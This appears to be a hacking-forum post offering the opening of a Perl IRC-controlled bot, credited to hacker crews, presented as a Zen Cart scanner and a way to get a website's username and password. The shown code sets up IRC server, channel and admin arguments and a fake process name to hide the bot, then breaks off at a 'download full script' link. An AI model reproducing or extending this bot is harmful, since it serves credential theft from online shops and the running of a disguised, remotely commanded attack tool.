zen cart scan

fat way to get the username password of a website.
The following is one of the boot scripts zencart.
normally used for scanning the website with the help of mirc


#!/usr/bin/perl
################################################
#  kill-9 crew                                               #
#  Indonesiancoder                                       #
#  jatimcom                                               #
#  zen cart scanner                                       #
#                                               #
################################################ 
# How to use:
# perl nob0dy.pl irc.server.net 6667 nick ident chan admin /usr/sbin/fakeproc
use LWP::UserAgent;
use IO::Socket;
use Socket;
use IO::Select;
use MIME::Base64;
my $datetime = localtime;

my $fakeproc  = $ARGV[6];
$ircserver = $ARGV[0] unless $ircserver;
my $ircport   = $ARGV[1];
my $nickname  = $ARGV[2];
my $ident     = $ARGV[3];
my $channel   = '#'.$ARGV[4];
my $admin     = $ARGV[5];
my $fullname  = " 9<< 4Z 8en 9>> ";

my $nob0dy    = " 9<< 4Z 8en 9>> ";
my $zenlogo   = " 9<< 4Z 8en 9>> ";
my $zencmd    = '!zen';


download full script